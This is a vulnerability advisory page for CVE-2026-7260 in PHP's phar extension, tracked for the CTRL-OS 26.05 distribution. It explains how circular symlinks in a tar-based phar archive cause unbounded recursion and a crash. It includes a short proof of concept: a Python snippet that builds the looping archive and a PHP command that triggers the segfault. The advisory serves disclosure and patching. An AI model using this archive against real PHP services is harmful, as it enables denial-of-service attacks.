Skip to content

GHSA-vc5h-9ppw-p5f3 on CTRL-OS 26.05

Aliases: GHSA-vc5h-9ppw-p5f3, CVE-2026-7260

Packages: php

Status: Plausible

Advisory Information

phar_get_link_source() in ext/phar/util.c recursively follows symbolic links in phar archives without any depth limit or cycle detection. A crafted tar-based phar archive containing circular symlinks causes unbounded recursion, exhausting the C stack and crashing the PHP process.

https://github.com/php/php-src/blob/cbc0489126a7682796aad1e5fb4e51de74af162c/ext/phar/util.c#L60-L82

python3 -c "
import tarfile
with tarfile.open('circular_symlinks.tar', 'w') as tar:
    a = tarfile.TarInfo(name='file_a'); a.type = tarfile.SYMTYPE; a.linkname = 'file_b'; tar.addfile(a)
    b = tarfile.TarInfo(name='file_b'); b.type = tarfile.SYMTYPE; b.linkname = 'file_a'; tar.addfile(b)
"

php -r '
$p = new PharData("circular_symlinks.tar");
$p["file_a"]->getContent();
'
# Expected: Segmentation fault (stack overflow)

Credit

Calvin Young - eWalker Consulting (HK) Limited Enoch Chow - Isomorph Cyber

Updates

2026-07-30 18:09 CEST

Metadata changes:

  • Status for package php: “Plausible”

2026-07-30 18:08 CEST

(Amended on: 2026-07-30 18:09 CEST)

2026-07-30 17:57 CEST

Metadata changes:

  • Status for package php: “New”